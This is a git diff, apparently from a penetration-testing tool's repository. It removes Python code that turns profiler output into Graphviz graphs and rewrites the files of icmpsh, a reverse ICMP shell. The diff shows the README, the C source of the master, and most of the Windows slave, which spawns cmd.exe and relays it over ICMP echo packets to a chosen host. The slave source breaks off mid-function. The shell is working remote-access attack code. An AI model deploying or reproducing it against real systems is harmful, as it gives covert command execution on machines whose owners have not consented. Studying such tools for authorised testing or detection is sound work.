- except ValueError: - import hotshot.stats - self.stats = hotshot.stats.load(filename[0]) - self.profile = Profile() - self.function_ids = {} - - def get_function_name(self, (filename, line, name)): - module = os.path.splitext(filename)[0] - module = os.path.basename(module) - return "%s:%d:%s" % (module, line, name) - - def get_function(self, key): - try: - id = self.function_ids[key] - except KeyError: - id = len(self.function_ids) - name = self.get_function_name(key) - function = Function(id, name) - self.profile.functions[id] = function - self.function_ids[key] = id - else: - function = self.profile.functions[id] - return function - - def parse(self): - self.profile[TIME] = 0.0 - self.profile[TOTAL_TIME] = self.stats.total_tt - for fn, (cc, nc, tt, ct, callers) in self.stats.stats.iteritems(): - callee = self.get_function(fn) - callee.called = nc - callee[TOTAL_TIME] = ct - callee[TIME] = tt - self.profile[TIME] += tt - self.profile[TOTAL_TIME] = max(self.profile[TOTAL_TIME], ct) - for fn, value in callers.iteritems(): - caller = self.get_function(fn) - call = Call(callee.id) - if isinstance(value, tuple): - for i in xrange(0, len(value), 4): - nc, cc, tt, ct = value[i:i+4] - if CALLS in call: - call[CALLS] += cc - else: - call[CALLS] = cc - - if TOTAL_TIME in call: - call[TOTAL_TIME] += ct - else: - call[TOTAL_TIME] = ct - - else: - call[CALLS] = value - call[TOTAL_TIME] = ratio(value, nc)*ct - - caller.add_call(call) - #self.stats.print_stats() - #self.stats.print_callees() - - # Compute derived events - self.profile.validate() - self.profile.ratio(TIME_RATIO, TIME) - self.profile.ratio(TOTAL_TIME_RATIO, TOTAL_TIME) - - return self.profile - - -class Theme: - - def __init__(self, - bgcolor = (0.0, 0.0, 1.0), - mincolor = (0.0, 0.0, 0.0), - maxcolor = (0.0, 0.0, 1.0), - fontname = "Arial", - minfontsize = 10.0, - maxfontsize = 10.0, - minpenwidth = 0.5, - maxpenwidth = 4.0, - gamma = 2.2, - skew = 1.0): - self.bgcolor = bgcolor - self.mincolor = mincolor - self.maxcolor = maxcolor - self.fontname = fontname - self.minfontsize = minfontsize - self.maxfontsize = maxfontsize - self.minpenwidth = minpenwidth - self.maxpenwidth = maxpenwidth - self.gamma = gamma - self.skew = skew - - def graph_bgcolor(self): - return self.hsl_to_rgb(*self.bgcolor) - - def graph_fontname(self): - return self.fontname - - def graph_fontsize(self): - return self.minfontsize - - def node_bgcolor(self, weight): - return self.color(weight) - - def node_fgcolor(self, weight): - return self.graph_bgcolor() - - def node_fontsize(self, weight): - return self.fontsize(weight) - - def edge_color(self, weight): - return self.color(weight) - - def edge_fontsize(self, weight): - return self.fontsize(weight) - - def edge_penwidth(self, weight): - return max(weight*self.maxpenwidth, self.minpenwidth) - - def edge_arrowsize(self, weight): - return 0.5 * math.sqrt(self.edge_penwidth(weight)) - - def fontsize(self, weight): - return max(weight**2 * self.maxfontsize, self.minfontsize) - - def color(self, weight): - weight = min(max(weight, 0.0), 1.0) - - hmin, smin, lmin = self.mincolor - hmax, smax, lmax = self.maxcolor - - if self.skew < 0: - raise ValueError("Skew must be greater than 0") - elif self.skew == 1.0: - h = hmin + weight*(hmax - hmin) - s = smin + weight*(smax - smin) - l = lmin + weight*(lmax - lmin) - else: - base = self.skew - h = hmin + ((hmax-hmin)*(-1.0 + (base ** weight)) / (base - 1.0)) - s = smin + ((smax-smin)*(-1.0 + (base ** weight)) / (base - 1.0)) - l = lmin + ((lmax-lmin)*(-1.0 + (base ** weight)) / (base - 1.0)) - - return self.hsl_to_rgb(h, s, l) - - def hsl_to_rgb(self, h, s, l): - """Convert a color from HSL color-model to RGB. - - See also: - - http://www.w3.org/TR/css3-color/#hsl-color - """ - - h = h % 1.0 - s = min(max(s, 0.0), 1.0) - l = min(max(l, 0.0), 1.0) - - if l <= 0.5: - m2 = l*(s + 1.0) - else: - m2 = l + s - l*s - m1 = l*2.0 - m2 - r = self._hue_to_rgb(m1, m2, h + 1.0/3.0) - g = self._hue_to_rgb(m1, m2, h) - b = self._hue_to_rgb(m1, m2, h - 1.0/3.0) - - # Apply gamma correction - r **= self.gamma - g **= self.gamma - b **= self.gamma - - return (r, g, b) - - def _hue_to_rgb(self, m1, m2, h): - if h < 0.0: - h += 1.0 - elif h > 1.0: - h -= 1.0 - if h*6 < 1.0: - return m1 + (m2 - m1)*h*6.0 - elif h*2 < 1.0: - return m2 - elif h*3 < 2.0: - return m1 + (m2 - m1)*(2.0/3.0 - h)*6.0 - else: - return m1 - - -TEMPERATURE_COLORMAP = Theme( - mincolor = (2.0/3.0, 0.80, 0.25), # dark blue - maxcolor = (0.0, 1.0, 0.5), # satured red - gamma = 1.0 -) - -PINK_COLORMAP = Theme( - mincolor = (0.0, 1.0, 0.90), # pink - maxcolor = (0.0, 1.0, 0.5), # satured red -) - -GRAY_COLORMAP = Theme( - mincolor = (0.0, 0.0, 0.85), # light gray - maxcolor = (0.0, 0.0, 0.0), # black -) - -BW_COLORMAP = Theme( - minfontsize = 8.0, - maxfontsize = 24.0, - mincolor = (0.0, 0.0, 0.0), # black - maxcolor = (0.0, 0.0, 0.0), # black - minpenwidth = 0.1, - maxpenwidth = 8.0, -) - - -class DotWriter: - """Writer for the DOT language. - - See also: - - "The DOT Language" specification - http://www.graphviz.org/doc/info/lang.html - """ - - def __init__(self, fp): - self.fp = fp - - def graph(self, profile, theme): - self.begin_graph() - - fontname = theme.graph_fontname() - - self.attr('graph', fontname=fontname, ranksep=0.25, nodesep=0.125) - self.attr('node', fontname=fontname, shape="box", style="filled", fontcolor="white", width=0, height=0) - self.attr('edge', fontname=fontname) - - for function in profile.functions.itervalues(): - labels = [] - if function.process is not None: - labels.append(function.process) - if function.module is not None: - labels.append(function.module) - labels.append(function.name) - for event in TOTAL_TIME_RATIO, TIME_RATIO: - if event in function.events: - label = event.format(function[event]) - labels.append(label) - if function.called is not None: - labels.append(u"%u\xd7" % (function.called,)) - - if function.weight is not None: - weight = function.weight - else: - weight = 0.0 - - label = '\n'.join(labels) - self.node(function.id, - label = label, - color = self.color(theme.node_bgcolor(weight)), - fontcolor = self.color(theme.node_fgcolor(weight)), - fontsize = "%.2f" % theme.node_fontsize(weight), - ) - - for call in function.calls.itervalues(): - callee = profile.functions[call.callee_id] - - labels = [] - for event in TOTAL_TIME_RATIO, CALLS: - if event in call.events: - label = event.format(call[event]) - labels.append(label) - - if call.weight is not None: - weight = call.weight - elif callee.weight is not None: - weight = callee.weight - else: - weight = 0.0 - - label = '\n'.join(labels) - - self.edge(function.id, call.callee_id, - label = label, - color = self.color(theme.edge_color(weight)), - fontcolor = self.color(theme.edge_color(weight)), - fontsize = "%.2f" % theme.edge_fontsize(weight), - penwidth = "%.2f" % theme.edge_penwidth(weight), - labeldistance = "%.2f" % theme.edge_penwidth(weight), - arrowsize = "%.2f" % theme.edge_arrowsize(weight), - ) - - self.end_graph() - - def begin_graph(self): - self.write('digraph {\n') - - def end_graph(self): - self.write('}\n') - - def attr(self, what, **attrs): - self.write("\t") - self.write(what) - self.attr_list(attrs) - self.write(";\n") - - def node(self, node, **attrs): - self.write("\t") - self.id(node) - self.attr_list(attrs) - self.write(";\n") - - def edge(self, src, dst, **attrs): - self.write("\t") - self.id(src) - self.write(" -> ") - self.id(dst) - self.attr_list(attrs) - self.write(";\n") - - def attr_list(self, attrs): - if not attrs: - return - self.write(' [') - first = True - for name, value in attrs.iteritems(): - if first: - first = False - else: - self.write(", ") - self.id(name) - self.write('=') - self.id(value) - self.write(']') - - def id(self, id): - if isinstance(id, (int, float)): - s = str(id) - elif isinstance(id, basestring): - if id.isalnum() and not id.startswith('0x'): - s = id - else: - s = self.escape(id) - else: - raise TypeError - self.write(s) - - def color(self, (r, g, b)): - - def float2int(f): - if f <= 0.0: - return 0 - if f >= 1.0: - return 255 - return int(255.0*f + 0.5) - - return "#" + "".join(["%02x" % float2int(c) for c in (r, g, b)]) - - def escape(self, s): - s = s.encode('utf-8') - s = s.replace('\\', r'\\') - s = s.replace('\n', r'\n') - s = s.replace('\t', r'\t') - s = s.replace('"', r'\"') - return '"' + s + '"' - - def write(self, s): - self.fp.write(s) - - -class Main: - """Main program.""" - - themes = { - "color": TEMPERATURE_COLORMAP, - "pink": PINK_COLORMAP, - "gray": GRAY_COLORMAP, - "bw": BW_COLORMAP, - } - - def main(self): - """Main program.""" - - parser = optparse.OptionParser( - usage="\n\t%prog [options] [file] ...", - version="%%prog %s" % __version__) - parser.add_option( - '-o', '--output', metavar='FILE', - type="string", dest="output", - help="output filename [stdout]") - parser.add_option( - '-n', '--node-thres', metavar='PERCENTAGE', - type="float", dest="node_thres", default=0.5, - help="eliminate nodes below this threshold [default: %default]") - parser.add_option( - '-e', '--edge-thres', metavar='PERCENTAGE', - type="float", dest="edge_thres", default=0.1, - help="eliminate edges below this threshold [default: %default]") - parser.add_option( - '-f', '--format', - type="choice", choices=('prof', 'callgrind', 'oprofile', 'sysprof', 'pstats', 'shark', 'sleepy', 'aqtime', 'xperf'), - dest="format", default="prof", - help="profile format: prof, callgrind, oprofile, sysprof, shark, sleepy, aqtime, pstats, or xperf [default: %default]") - parser.add_option( - '-c', '--colormap', - type="choice", choices=('color', 'pink', 'gray', 'bw'), - dest="theme", default="color", - help="color map: color, pink, gray, or bw [default: %default]") - parser.add_option( - '-s', '--strip', - action="store_true", - dest="strip", default=False, - help="strip function parameters, template parameters, and const modifiers from demangled C++ function names") - parser.add_option( - '-w', '--wrap', - action="store_true", - dest="wrap", default=False, - help="wrap function names") - # add a new option to control skew of the colorization curve - parser.add_option( - '--skew', - type="float", dest="theme_skew", default=1.0, - help="skew the colorization curve. Values < 1.0 give more variety to lower percentages. Value > 1.0 give less variety to lower percentages") - (self.options, self.args) = parser.parse_args(sys.argv[1:]) - - if len(self.args) > 1 and self.options.format != 'pstats': - parser.error('incorrect number of arguments') - - try: - self.theme = self.themes[self.options.theme] - except KeyError: - parser.error('invalid colormap \'%s\'' % self.options.theme) - - # set skew on the theme now that it has been picked. - if self.options.theme_skew: - self.theme.skew = self.options.theme_skew - - if self.options.format == 'prof': - if not self.args: - fp = sys.stdin - else: - fp = open(self.args[0], 'rt') - parser = GprofParser(fp) - elif self.options.format == 'callgrind': - if not self.args: - fp = sys.stdin - else: - fp = open(self.args[0], 'rt') - parser = CallgrindParser(fp) - elif self.options.format == 'oprofile': - if not self.args: - fp = sys.stdin - else: - fp = open(self.args[0], 'rt') - parser = OprofileParser(fp) - elif self.options.format == 'sysprof': - if not self.args: - fp = sys.stdin - else: - fp = open(self.args[0], 'rt') - parser = SysprofParser(fp) - elif self.options.format == 'pstats': - if not self.args: - parser.error('at least a file must be specified for pstats input') - parser = PstatsParser(*self.args) - elif self.options.format == 'xperf': - if not self.args: - fp = sys.stdin - else: - fp = open(self.args[0], 'rt') - parser = XPerfParser(fp) - elif self.options.format == 'shark': - if not self.args: - fp = sys.stdin - else: - fp = open(self.args[0], 'rt') - parser = SharkParser(fp) - elif self.options.format == 'sleepy': - if len(self.args) != 1: - parser.error('exactly one file must be specified for sleepy input') - parser = SleepyParser(self.args[0]) - elif self.options.format == 'aqtime': - if not self.args: - fp = sys.stdin - else: - fp = open(self.args[0], 'rt') - parser = AQtimeParser(fp) - else: - parser.error('invalid format \'%s\'' % self.options.format) - - self.profile = parser.parse() - - if self.options.output is None: - self.output = sys.stdout - else: - self.output = open(self.options.output, 'wt') - - self.write_graph() - - _parenthesis_re = re.compile(r'\([^()]*\)') - _angles_re = re.compile(r'<[^<>]*>') - _const_re = re.compile(r'\s+const$') - - def strip_function_name(self, name): - """Remove extraneous information from C++ demangled function names.""" - - # Strip function parameters from name by recursively removing paired parenthesis - while True: - name, n = self._parenthesis_re.subn('', name) - if not n: - break - - # Strip const qualifier - name = self._const_re.sub('', name) - - # Strip template parameters from name by recursively removing paired angles - while True: - name, n = self._angles_re.subn('', name) - if not n: - break - - return name - - def wrap_function_name(self, name): - """Split the function name on multiple lines.""" - - if len(name) > 32: - ratio = 2.0/3.0 - height = max(int(len(name)/(1.0 - ratio) + 0.5), 1) - width = max(len(name)/height, 32) - # TODO: break lines in symbols - name = textwrap.fill(name, width, break_long_words=False) - - # Take away spaces - name = name.replace(", ", ",") - name = name.replace("> >", ">>") - name = name.replace("> >", ">>") # catch consecutive - - return name - - def compress_function_name(self, name): - """Compress function name according to the user preferences.""" - - if self.options.strip: - name = self.strip_function_name(name) - - if self.options.wrap: - name = self.wrap_function_name(name) - - # TODO: merge functions with same resulting name - - return name - - def write_graph(self): - dot = DotWriter(self.output) - profile = self.profile - profile.prune(self.options.node_thres/100.0, self.options.edge_thres/100.0) - - for function in profile.functions.itervalues(): - function.name = self.compress_function_name(function.name) - - dot.graph(profile, self.theme) - - -if __name__ == '__main__': - Main().main() diff --git a/extra/icmpsh/README.txt b/extra/icmpsh/README.txt index 8103e6841a4..d09e83b8552 100644 --- a/extra/icmpsh/README.txt +++ b/extra/icmpsh/README.txt @@ -1,45 +1,45 @@ -icmpsh - simple reverse ICMP shell - -icmpsh is a simple reverse ICMP shell with a win32 slave and a POSIX compatible master in C or Perl. - - ---- Running the Master --- - -The master is straight forward to use. There are no extra libraries required for the C version. -The Perl master however has the following dependencies: - - * IO::Socket - * NetPacket::IP - * NetPacket::ICMP - - -When running the master, don't forget to disable ICMP replies by the OS. For example: - - sysctl -w net.ipv4.icmp_echo_ignore_all=1 - -If you miss doing that, you will receive information from the slave, but the slave is unlikely to receive -commands send from the master. - - ---- Running the Slave --- - -The slave comes with a few command line options as outlined below: - - --t host host ip address to send ping requests to. This option is mandatory! - --r send a single test icmp request containing the string "Test1234" and then quit. - This is for testing the connection. - --d milliseconds delay between requests in milliseconds - --o milliseconds timeout of responses in milliseconds. If a response has not received in time, - the slave will increase a counter of blanks. If that counter reaches a limit, the slave will quit. - The counter is set back to 0 if a response was received. - --b num limit of blanks (unanswered icmp requests before quitting - --s bytes maximal data buffer size in bytes - - -In order to improve the speed, lower the delay (-d) between requests or increase the size (-s) of the data buffer. +icmpsh - simple reverse ICMP shell + +icmpsh is a simple reverse ICMP shell with a win32 slave and a POSIX compatible master in C or Perl. + + +--- Running the Master --- + +The master is straight forward to use. There are no extra libraries required for the C version. +The Perl master however has the following dependencies: + + * IO::Socket + * NetPacket::IP + * NetPacket::ICMP + + +When running the master, don't forget to disable ICMP replies by the OS. For example: + + sysctl -w net.ipv4.icmp_echo_ignore_all=1 + +If you miss doing that, you will receive information from the slave, but the slave is unlikely to receive +commands send from the master. + + +--- Running the Slave --- + +The slave comes with a few command line options as outlined below: + + +-t host host ip address to send ping requests to. This option is mandatory! + +-r send a single test icmp request containing the string "Test1234" and then quit. + This is for testing the connection. + +-d milliseconds delay between requests in milliseconds + +-o milliseconds timeout of responses in milliseconds. If a response has not received in time, + the slave will increase a counter of blanks. If that counter reaches a limit, the slave will quit. + The counter is set back to 0 if a response was received. + +-b num limit of blanks (unanswered icmp requests before quitting + +-s bytes maximal data buffer size in bytes + + +In order to improve the speed, lower the delay (-d) between requests or increase the size (-s) of the data buffer. diff --git a/extra/icmpsh/icmpsh-m.c b/extra/icmpsh/icmpsh-m.c index 32c3edb7429..95deb603bc0 100644 --- a/extra/icmpsh/icmpsh-m.c +++ b/extra/icmpsh/icmpsh-m.c @@ -1,134 +1,134 @@ -/* - * icmpsh - simple icmp command shell - * Copyright (c) 2010, Nico Leidecker <nico@leidecker.info> - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see <http://www.gnu.org/licenses/>. - */ - -#include <stdio.h> -#include <stdlib.h> -#include <sys/types.h> -#include <sys/socket.h> -#include <sys/stat.h> -#include <netinet/in.h> -#include <netinet/ip_icmp.h> -#include <netinet/ip.h> -#include <string.h> -#include <unistd.h> -#include <fcntl.h> - -#define IN_BUF_SIZE 1024 -#define OUT_BUF_SIZE 64 - -// calculate checksum -unsigned short checksum(unsigned short *ptr, int nbytes) -{ - unsigned long sum; - unsigned short oddbyte, rs; - - sum = 0; - while(nbytes > 1) { - sum += *ptr++; - nbytes -= 2; - } - - if(nbytes == 1) { - oddbyte = 0; - *((unsigned char *) &oddbyte) = *(u_char *)ptr; - sum += oddbyte; - } - - sum = (sum >> 16) + (sum & 0xffff); - sum += (sum >> 16); - rs = ~sum; - return rs; -} - -int main(int argc, char **argv) -{ - int sockfd; - int flags; - char in_buf[IN_BUF_SIZE]; - char out_buf[OUT_BUF_SIZE]; - unsigned int out_size; - int nbytes; - struct iphdr *ip; - struct icmphdr *icmp; - char *data; - struct sockaddr_in addr; - - - printf("icmpsh - master\n"); - - // create raw ICMP socket - sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP); - if (sockfd == -1) { - perror("socket"); - return -1; - } - - // set stdin to non-blocking - flags = fcntl(0, F_GETFL, 0); - flags |= O_NONBLOCK; - fcntl(0, F_SETFL, flags); - - printf("running...\n"); - while(1) { - - // read data from socket - memset(in_buf, 0x00, IN_BUF_SIZE); - nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1); - if (nbytes > 0) { - // get ip and icmp header and data part - ip = (struct iphdr *) in_buf; - if (nbytes > sizeof(struct iphdr)) { - nbytes -= sizeof(struct iphdr); - icmp = (struct icmphdr *) (ip + 1); - if (nbytes > sizeof(struct icmphdr)) { - nbytes -= sizeof(struct icmphdr); - data = (char *) (icmp + 1); - data[nbytes] = '\0'; - printf("%s", data); - fflush(stdout); - } - - // reuse headers - icmp->type = 0; - addr.sin_family = AF_INET; - addr.sin_addr.s_addr = ip->saddr; - - // read data from stdin - nbytes = read(0, out_buf, OUT_BUF_SIZE); - if (nbytes > -1) { - memcpy((char *) (icmp + 1), out_buf, nbytes); - out_size = nbytes; - } else { - out_size = 0; - } - - icmp->checksum = 0x00; - icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size); - - // send reply - nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr)); - if (nbytes == -1) { - perror("sendto"); - return -1; - } - } - } - } - - return 0; -} - +/* + * icmpsh - simple icmp command shell + * Copyright (c) 2010, Nico Leidecker <nico@leidecker.info> + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see <http://www.gnu.org/licenses/>. + */ + +#include <stdio.h> +#include <stdlib.h> +#include <sys/types.h> +#include <sys/socket.h> +#include <sys/stat.h> +#include <netinet/in.h> +#include <netinet/ip_icmp.h> +#include <netinet/ip.h> +#include <string.h> +#include <unistd.h> +#include <fcntl.h> + +#define IN_BUF_SIZE 1024 +#define OUT_BUF_SIZE 64 + +// calculate checksum +unsigned short checksum(unsigned short *ptr, int nbytes) +{ + unsigned long sum; + unsigned short oddbyte, rs; + + sum = 0; + while(nbytes > 1) { + sum += *ptr++; + nbytes -= 2; + } + + if(nbytes == 1) { + oddbyte = 0; + *((unsigned char *) &oddbyte) = *(u_char *)ptr; + sum += oddbyte; + } + + sum = (sum >> 16) + (sum & 0xffff); + sum += (sum >> 16); + rs = ~sum; + return rs; +} + +int main(int argc, char **argv) +{ + int sockfd; + int flags; + char in_buf[IN_BUF_SIZE]; + char out_buf[OUT_BUF_SIZE]; + unsigned int out_size; + int nbytes; + struct iphdr *ip; + struct icmphdr *icmp; + char *data; + struct sockaddr_in addr; + + + printf("icmpsh - master\n"); + + // create raw ICMP socket + sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP); + if (sockfd == -1) { + perror("socket"); + return -1; + } + + // set stdin to non-blocking + flags = fcntl(0, F_GETFL, 0); + flags |= O_NONBLOCK; + fcntl(0, F_SETFL, flags); + + printf("running...\n"); + while(1) { + + // read data from socket + memset(in_buf, 0x00, IN_BUF_SIZE); + nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1); + if (nbytes > 0) { + // get ip and icmp header and data part + ip = (struct iphdr *) in_buf; + if (nbytes > sizeof(struct iphdr)) { + nbytes -= sizeof(struct iphdr); + icmp = (struct icmphdr *) (ip + 1); + if (nbytes > sizeof(struct icmphdr)) { + nbytes -= sizeof(struct icmphdr); + data = (char *) (icmp + 1); + data[nbytes] = '\0'; + printf("%s", data); + fflush(stdout); + } + + // reuse headers + icmp->type = 0; + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = ip->saddr; + + // read data from stdin + nbytes = read(0, out_buf, OUT_BUF_SIZE); + if (nbytes > -1) { + memcpy((char *) (icmp + 1), out_buf, nbytes); + out_size = nbytes; + } else { + out_size = 0; + } + + icmp->checksum = 0x00; + icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size); + + // send reply + nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr)); + if (nbytes == -1) { + perror("sendto"); + return -1; + } + } + } + } + + return 0; +} + diff --git a/extra/icmpsh/icmpsh-m.pl b/extra/icmpsh/icmpsh-m.pl old mode 100755 new mode 100644 diff --git a/extra/icmpsh/icmpsh-s.c b/extra/icmpsh/icmpsh-s.c index 5c127d84320..c108509774d 100644 --- a/extra/icmpsh/icmpsh-s.c +++ b/extra/icmpsh/icmpsh-s.c @@ -1,346 +1,344 @@ -/* - * icmpsh - simple icmp command shell - * Copyright (c) 2010, Nico Leidecker <nico@leidecker.info> - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see <http://www.gnu.org/licenses/>. - */ - - -#include <stdio.h> -#include <stdlib.h> -#include <winsock2.h> -#include <windows.h> -#include <winsock2.h> -#include <iphlpapi.h> - -#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8) - -#define STATUS_OK 0 -#define STATUS_SINGLE 1 -#define STATUS_PROCESS_NOT_CREATED 2 - -#define TRANSFER_SUCCESS 1 -#define TRANSFER_FAILURE 0 - -#define DEFAULT_TIMEOUT 3000 -#define DEFAULT_DELAY 200 -#define DEFAULT_MAX_BLANKS 10 -#define DEFAULT_MAX_DATA_SIZE 64 - -FARPROC icmp_create, icmp_send, to_ip; - -int verbose = 0; - -int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write) -{ - SECURITY_ATTRIBUTES sattr; - STARTUPINFOA si; - HANDLE in_read, out_write; - - memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES)); - memset(pi, 0x00, sizeof(PROCESS_INFORMATION)); - - // create communication pipes - memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES)); - sattr.nLength = sizeof(SECURITY_ATTRIBUTES); - sattr.bInheritHandle = TRUE; - sattr.lpSecurityDescriptor = NULL; - - if (!CreatePipe(out_read, &out_write, &sattr, 0)) { - return STATUS_PROCESS_NOT_CREATED; - } - if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) { - return STATUS_PROCESS_NOT_CREATED; - } - - if (!CreatePipe(&in_read, in_write, &sattr, 0)) { - return STATUS_PROCESS_NOT_CREATED; - } - if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) { - return STATUS_PROCESS_NOT_CREATED; - } - - // spawn process - memset(&si, 0x00, sizeof(STARTUPINFO)); - si.cb = sizeof(STARTUPINFO); - si.hStdError = out_write; - si.hStdOutput = out_write; - si.hStdInput = in_read; - si.dwFlags |= STARTF_USESTDHANDLES; - - if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) { - return STATUS_PROCESS_NOT_CREATED; - } - - CloseHandle(out_write); - CloseHandle(in_read); - - return STATUS_OK; -} - -void usage(char *path) -{ - printf("%s [options] -t target\n", path); - printf("options:\n"); - printf(" -t host host ip address to send ping requests to\n"); - printf(" -r send a single test icmp request and then quit\n"); - printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY); - printf(" -o milliseconds timeout in milliseconds\n"); - printf(" -h this screen\n"); - printf(" -b num maximal number of blanks (unanswered icmp requests)\n"); - printf(" before quitting\n"); - printf(" -s bytes maximal data buffer size in bytes (default is 64 bytes)\n\n", DEFAULT_MAX_DATA_SIZE); - printf("In order to improve the speed, lower the delay (-d) between requests or\n"); - printf("increase the size (-s) of the data buffer\n"); -} - -void create_icmp_channel(HANDLE *icmp_chan) -{ - // create icmp file - *icmp_chan = (HANDLE) icmp_create(); -} - -int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout) -{ - int rs; - char *temp_in_buf; - int nbytes; - - PICMP_ECHO_REPLY echo_reply; - - temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE); - if (!temp_in_buf) { - return TRANSFER_FAILURE; - } - - // send data to remote host - rs = icmp_send( - icmp_chan, - target, - out_buf, - out_buf_size, - NULL, - temp_in_buf, - max_in_data_size + ICMP_HEADERS_SIZE, - timeout); - - // check received data - if (rs > 0) { - echo_reply = (PICMP_ECHO_REPLY) temp_in_buf; - if (echo_reply->DataSize > max_in_data_size) { - nbytes = max_in_data_size; - } else { - nbytes = echo_reply->DataSize; - } - memcpy(in_buf, echo_reply->Data, nbytes); - *in_buf_size = nbytes; - - free(temp_in_buf); - return TRANSFER_SUCCESS; - } - - free(temp_in_buf); - - return TRANSFER_FAILURE; -} - -int load_deps() -{ - HMODULE lib; - - lib = LoadLibraryA("ws2_32.dll"); - if (lib != NULL) { - to_ip = GetProcAddress(lib, "inet_addr"); - if (!to_ip) { - return 0; - } - } - - lib = LoadLibraryA("iphlpapi.dll"); - if (lib != NULL) { - icmp_create = GetProcAddress(lib, "IcmpCreateFile"); - icmp_send = GetProcAddress(lib, "IcmpSendEcho"); - if (icmp_create && icmp_send) { - return 1; - } - } - - lib = LoadLibraryA("ICMP.DLL"); - if (lib != NULL) { - icmp_create = GetProcAddress(lib, "IcmpCreateFile"); - icmp_send = GetProcAddress(lib, "IcmpSendEcho"); - if (icmp_create && icmp_send) { - return 1; - } - } - - printf("failed to load functions (%u)", GetLastError()); - - return 0; -} -int main(int argc, char **argv) -{ - int opt; - char *target; - unsigned int delay, timeout; - unsigned int ip_addr; - HANDLE pipe_read, pipe_write; - HANDLE icmp_chan; - unsigned char *in_buf, *out_buf; - unsigned int in_buf_size, out_buf_size; - DWORD rs; - int blanks, max_blanks; - PROCESS_INFORMATION pi; - int status; - unsigned int max_data_size; - struct hostent *he; - - - // set defaults - target = 0; - timeout = DEFAULT_TIMEOUT; - delay = DEFAULT_DELAY; - max_blanks = DEFAULT_MAX_BLANKS; - max_data_size = DEFAULT_MAX_DATA_SIZE; - - status = STATUS_OK; - if (!load_deps()) { - printf("failed to load ICMP library\n"); - return -1; - } - - // parse command line options - for (opt = 1; opt < argc; opt++) { - if (argv[opt][0] == '-') { - switch(argv[opt][1]) { - case 'h': - usage(*argv); - return 0; - case 't': - if (opt + 1 < argc) { - target = argv[opt + 1]; - } - break; - case 'd': - if (opt + 1 < argc) { - delay = atol(argv[opt + 1]); - } - break; - case 'o': - if (opt + 1 < argc) { - timeout = atol(argv[opt + 1]); - } - break; - case 'r': - status = STATUS_SINGLE; - break; - case 'b': - if (opt + 1 < argc) { - max_blanks = atol(argv[opt + 1]); - } - break; - case 's': - if (opt + 1 < argc) { - max_data_size = atol(argv[opt + 1]); - } - break; - default: - printf("unrecognized option -%c\n", argv[1][0]); - usage(*argv); - return -1; - } - } - } - - if (!target) { - printf("you need to specify a host with -t. Try -h for more options\n"); - return -1; - } - ip_addr = to_ip(target); - - // don't spawn a shell if we're only sending a single test request - if (status != STATUS_SINGLE) { - status = spawn_shell(&pi, &pipe_read, &pipe_write); - } - - // create icmp channel - create_icmp_channel(&icmp_chan); - if (icmp_chan == INVALID_HANDLE_VALUE) { - printf("unable to create ICMP file: %u\n", GetLastError()); - return -1; - } - - // allocate transfer buffers - in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); - out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); - if (!in_buf || !out_buf) { - printf("failed to allocate memory for transfer buffers\n"); - return -1; - } - memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); - memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); - - // sending/receiving loop - blanks = 0; - do { - - switch(status) { - case STATUS_SINGLE: - // reply with a static string - out_buf_size = sprintf(out_buf, "Test1234\n"); - break; - case STATUS_PROCESS_NOT_CREATED: - // reply with error message - out_buf_size = sprintf(out_buf, "Process was not created\n"); - break; - default: - // read data from process via pipe - out_buf_size = 0; - if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) { - if (out_buf_size > 0) { - out_buf_size = 0; - rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL); - if (!rs && GetLastError() != ERROR_IO_PENDING) { - out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError()); - } - } - } else { - out_buf_size 